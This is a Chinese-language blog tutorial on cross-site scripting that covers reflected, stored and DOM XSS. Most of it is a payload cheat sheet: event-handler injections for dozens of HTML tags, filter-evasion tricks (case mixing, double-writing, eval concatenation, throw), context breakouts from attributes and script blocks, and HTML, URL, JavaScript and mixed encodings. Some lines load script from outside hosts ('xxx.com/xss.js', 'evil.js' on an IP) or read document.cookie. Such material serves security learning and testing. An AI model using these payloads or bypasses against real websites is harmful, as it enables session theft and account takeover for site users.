XSS跨站脚本攻击

XSS跨站脚本攻击

简介

XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

原理

通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。

注:XSS常见出现漏洞的地方,数据交互的地方,数据输出的地方

XSS的分类

反射性XSS
存储型XSS
DOM型XSS

反射性XSS

这种攻击方式往往具有一次性,只在用户单击时触发。网站的搜索栏、用户登录入口、输入表单等地方都可以尝试,常用来窃取客户端cookies或钓鱼欺骗。

攻击方式

​攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该目标用户的请求并进行处理,然后服务器把带有XSS的代码发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

存储型XSS

​攻击者向网站注入的攻击脚本被永久的存放在目标服务器的数据库或文件中。每次用户访问链接就会触发恶意脚本。论坛、博客、留言板、网站的留言、评论、日志等交互处都可以尝试。

攻击方式

攻击者在发帖、留言、评论的过程中,将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本就会在用户的浏览器中得到执行。

DOM型XSS

DOM(Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象的一种漏洞。DOM型XSS是基于js上的,不需要与服务器进行交互。

攻击方式

用户请求一个经过专门设计的URL,它由攻击者提供,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

//触发DOM型XSS的属性
document.write
document.referer
window.name
location
innerHTML
......

XSS的攻击载荷

script标签

<script> 标签用于定义客户端脚本

<script>alert("xss")</script>             
<script>alert(/xss/)</script>                             
<script>alert(document.cookie)</script>   
<script src=http://xxx.com/xss.js></script> 

svg标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。 // 等价于 >

<svg onload="alert("xss")">
<svg onload="alert("xss")"//

img标签

<img> 标签定义 HTML 页面中的图像。

<img src=1 onerror=alert("xss")>
<img src=1 onerror=alert(document.cookie)>
<img src=1 onerror=eval("alert('xss')")>
<img src=javascript:alert("xss")>
<img src=javascript:alert(String.formCharCode(88,83,83))>
<img src=1 onmouseover=alert('xss')>

body标签

<body> 标签定义文档的主体。

<body onload=alert('xss')>
<body onpageshow=alert('xss')>

video标签

<video> 标签定义视频,比如电影片段或其他视频流。

<video><source onerror=alert(1)>

style标签

<style> 标签定义 HTML 文档的样式信息。

<style onload=alert(1)></style>

input标签

<input> 标签规定了用户可以在其中输入数据的输入字段。点击输入框触发

<input onfocus=alert(1);>
<input value="" onclick=alert('xss') type="text">
<input name="name" value=""onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
<input onblur=alert(1) autofocus><input autofocus>
<input onfocus="alert(1);" autofocus>

details 标签

<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。

<details ontoggle=alert(1);>
<details open ontoggle=alert(1);>

select 标签

<select> 标签用来创建下拉列表。

<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>

iframe标签

<iframe> 标签会创建包含另外一个文档的内联框架。

<iframe onload=alert(1);></iframe>

audio 标签

<audio> 标签定义声音,比如音乐或其他音频流。

<audio src=x  onerror=alert(1);>

textarea 标签

<textarea> 标签定义一个多行的文本输入控件。

<textarea onfocus=alert(1); autofocus>

marquee 标签

<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以

isindex 标签

<isindex type=image src=1 onerror=alert(1)>//仅限于IE 

<link> 标签定义文档与外部资源的关系。在无CSP的情况下才可以使用:

<link rel=import href="http://47.xxx.xxx.72/evil.js">

a 标签

<a href="javascript:alert(1);">xss</a>

form标签

<form action="Javascript:alert(1)"><input type=submit>

XSS 常见绕过姿势

绕过空格过滤

当空格被过滤了时,我们可以用 / 来代替空格:

<img/src="x"/onerror=alert(1);>

绕过引号过滤

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

<img src=x onerror=alert(`xss`);>

绕过括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

绕过关键字过滤

大小写绕过

<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>

双写绕过

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>

字符串拼接绕过

利用eval()函数

与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。

<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<!--在js中,我们可以用反引号代替单双引号-->

利用top

<script>top["al"+"ert"](`xss`);</script>
<script>top["al"+"ert"]("xss");</script>

XSS 输出点总结

输出在属性里

例如输出的位置位于value属性中:

<input value="[输出]" type=text>

我们可以选择直接闭合标签:

"><img src=x onerror=alert(1);>

<!--输出后如下:-->
<input value=""><img src=x onerror=alert(1);>" type=text>

<!--还有一些特殊的场景,如:-->
<input type="hidden" value="[输出]" />
<input value="[输出点]" type="hidden"/>
<!--这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行脚本。-->

如果<input>< > 被过滤的话可以换成选择使用事件来闭合属性,并将后面的引号注释掉或闭合:

" autofocus onfocus=alert(1)//
" autofocus onfocus=alert(1) " 
" onmouseover=prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
" autofocus onfocus=javascript:alert(1)//
<!--输出后如下:-->
<input value="" autofocus onfocus=alert(1)//" type=text>

输出在HTML标签之间

例如输出的位置如下:

<div id="body">[输出]</div>

直接提交 <script>alert(1)</script> 即可触发XSS,但是当标签是不能执行脚本的标签时,如下面这几个:

  • <title></title>
  • <textarea></textarea>
  • <xmp></xmp>
  • <iframe></iframe>

那么就得先把那个标签闭合,然后在注入XSS语句,例如:

</textarea><script>alert(1)</script>

输出在script标签之间

例如:

<script>
    var x = "input";
</script>

可控位置在input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了:

";alert(1)//
 
<!--输出后如下:-->
<script>var x = "";alert(1)//";</script>

XSS 字符编码绕过

浏览器整个解析顺序为3个环节:HTML实体解码 —>URL解码 —>JS解码(只支持Unicode)

我们可以对XSS攻击语句做这三种编码都可以成功弹框。

HTML 实体编码

​ 我们可以将DOM节点中的内容转化为HTML实体,因为解析HTML之后建立起节点,然后会对DOM节点里面的HTML实体进行解析。HTML 编码主要分为10进制和16进制,格式为以 &# 开头以分号 ; 结尾(也可以不带分号)。

​ 如<的编码为&#60;(10进制)&#x003c;(16进制) 可以使用https://bianma.bmcx.com/进行编码

<!--
<a href=javascript:alert("xss")>test\</a>
-->
<!--十进制-->
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;>test</a>
 
<!--十六进制-->
<a href=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;>test</a>
 
<!--也可以不带分号-->
<a href=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x22&#x78&#x73&#x73&#x22&#x29>test</a>

<!--<img src=x onerror=alert("xss")>-->
<!--十进制-->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;>
 
<!--十六进制-->
<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;>
 
<!--也可以不带分号-->
<img src=x onerror=&#x61&#x6C&#x65&#x72&#x74&#x28&#x22&#x78&#x73&#x73&#x22&#x29>

​ HTML字符实体,并不是说任何地方都可以使用实体编码,只有处于 “数据状态中的字符引用”、“属性值状态中的字符引用” 和 “RCDATA状态中的字符引用” 这三种状态中的HTML字符实体将会从 &#… 形式解码,转化成对应的解码字符并被放入数据缓冲区中。

​ 一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个 < 符号(后面没有跟 /符号)就会进入 标签开始状态(Tag open state) ,然后转变到 标签名状态(Tag name state) 、 前属性名状态(before attribute name state) ......最后进入 数据状态(Data state) 并释放当前标签的token。当解析器处于数据状态(Data state) 时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。

​ 简单的说就是,浏览器对HTML解码之后就开始解析HTML文档,将众多标签转化为内容树中的DOM节点,此时识别标签的时候,HTML解析器是无法识别那些被实体编码的内容的,只有建立起DOM树,才能对每个节点的内容进行识别,如果出现实体编码,则会进行实体解码,只要是DOM节点里属性的值,都可以被HTML编码和解析。

数据状态中的字符引用:数据状态就是解析一个标签内里面的内容,如 <div>...</div> 中的内容,当浏览器解析完 <div> 标签之后如果发现标签内还含有实体字符的话,就会有一个实体编码解析了

属性值状态中的字符引用:属性值状态中的字符引用就好理解了,就是src,herf这样的属性值中的HTML实体,他也是会先进行HTML解码的。

RCDATA状态中的字符引用:然后再来看一下什么是RCDATA转态,这里需要我们先了解一下HTML中有五类元素:

  • 空元素(Void elements),如 <area><br><base> 等等。空元素不能容纳任何内容,因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间。
  • 原始文本元素(Raw text elements),有 <script> <style>。原始文本元素可以容纳文本。
  • RCDATA元素(RCDATA elements),有 <textarea><title>。RCDATA元素可以容纳文本和字符引用。
  • 外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素。外部元素可以容纳文本、字符引用、CDATA段、其他元素和注释。
  • 基本元素(Normal elements),即除了以上4种元素以外的元素。基本元素可以容纳文本、字符引用、其他元素和注释。

​ 注意到RCDATA元素中有 <textarea> <title> 两个属性并且有字符引用,也就是当实体字符出现在这两个标签里面的时候,实体字符会被识别并进行HTML编码解析。这里要再提醒一次,在解析这些字符引用的过程中不会进入“标签开始状态”,所以就不会建立新的标签,所以HTML编码的XSS语句触发不了XSS。

​ HTML的五类元素中,像 <script><style> 这样的原始文本元素在这个标签内容纳的是文本,所以浏览器在解析到这个标签后,里面内容中的HTML编码并不会被认为是HTML实体引用,所以并不会被解码为相应的字符,不会触发语句原有的结果。但是当在前面加上 <svg> ,即可成功弹窗

URL编码

我们可以并将src或href属性中的内容进行URL编码,当HTML解析器对src或href中的字符完成HTML解码后,接下来URL解析器会对src或href中的值进行URL解码。

<a href=javascript:alert("xss")>test</a>
<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>

<iframe src=javascript:alert("xss")></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%22%78%73%73%22%29"></iframe>

<!--伪协议头 javascript: 是不能进行编码的。这里就有一个URL解析过程中的一个细节了,
即不能对协议类型进行任何的编码操作,否则URL解析器会认为它无类型,
就会导致DOM节点中被编码的“javascript”没有被解码,当然不会被URL解析器识别了。
如:
http://www.baidu.com 可以被URL编码为 http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d,
但是不能把协议也进URL编码:%68%74%74%70%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d

但是伪协议头 javascript: 可以进行HTML编码。
-->

Javascript 编码

我们可以将DOM节点中的内容转化为 Javascript 编码。当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析工作,比如在处理诸如 <script><style> 这样的标签时,解析器会自动切换到JavaScript解析模式,而 src、 href 后边加入的 javascript 伪URL,也会进入 JavaScript 的解析模式。Javascript 中可以识别的编码类型有:

  • Unicode 编码
  • 八进制编码
  • 十六进制编码

Unicode编码的比较广泛,而八进制和十六进制只有在DOM环境或eval()等函数中才可以用。

Unicode 编码

<script>alert("xss")</script>
<script>\u0061\u006C\u0065\u0072\u0074("xss")</script>
<script>\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")</script>

<a href=javascript:alert("xss")>test</a>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")>test</a>
<!--不能对伪协议头 javascript: 进行 Javascript 编码。并且像圆括号、双引号、单引号这样的符号我们也不能进 Javascript 编码,但是能进行HTML编码。-->

在DOM环境中的JavaScript编码

对于八进制编码和十六进制编码,与 Unicode 编码还是有区别,要想让他们能够执行我们要将他们放在DOM环境中

<script>alert("xss")</script>
<script>\141\154\145\162\164("xss")</script>

<a href=javascript:alert("xss")>test</a>
<a href=javascript:\x61\x6c\x65\x72\x74("xss")>test</a>


<!--如果过滤了 <、>、'、"、&、% 等等这些字符的话,我们便可以用JavaScript编码的方法将XSS语句全部编码-->
即 <iframe src=javascript:alert('xss')></iframe> 的以下编码都可以弹窗:
<!--Unicode编码-->
\u003C\u0069\u0066\u0072\u0061\u006D\u0065\u0020\u0073\u0072\u0063\u003D\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003E\u003C\u002F\u0069\u0066\u0072\u0061\u006D\u0065\u003E
 
<!--八进制编码-->
\74\151\146\162\141\155\145\40\163\162\143\75\152\141\166\141\163\143\162\151\160\164\72\141\154\145\162\164\50\47\170\163\163\47\51\76\74\57\151\146\162\141\155\145\76
 
<!--十六进制编码-->
\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e

另一种弹窗的方法

<script>alert("xss")</script>
<script>eval("\141\154\145\162\164\50\42\170\163\163\42\51")</script>

<a href=javascript:alert("xss")>test</a>
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")>test</a>

<img src=x onerror=alert("xss")>
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

混合编码

<a href=javascript:alert("xss")>test</a>
首先对“alert”进行JavaScript Unicode编码:
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
然后再对 \u0061\u006c\u0065\u0072\u0074 进行URL编码:
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>
最后对标签中的 javascript:%5c%75...%37%34("xss") 整体进行HTML编码即可:
 <svg><a href=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;>test</a>

参考文章

https://www.freebuf.com/articles/web/280415.html

https://blog.csdn.net/machinegunjoe/article/details/117815159

posted @ 2022-04-20 10:58  九天揽月丶  阅读(1095)  评论(0编辑  收藏  举报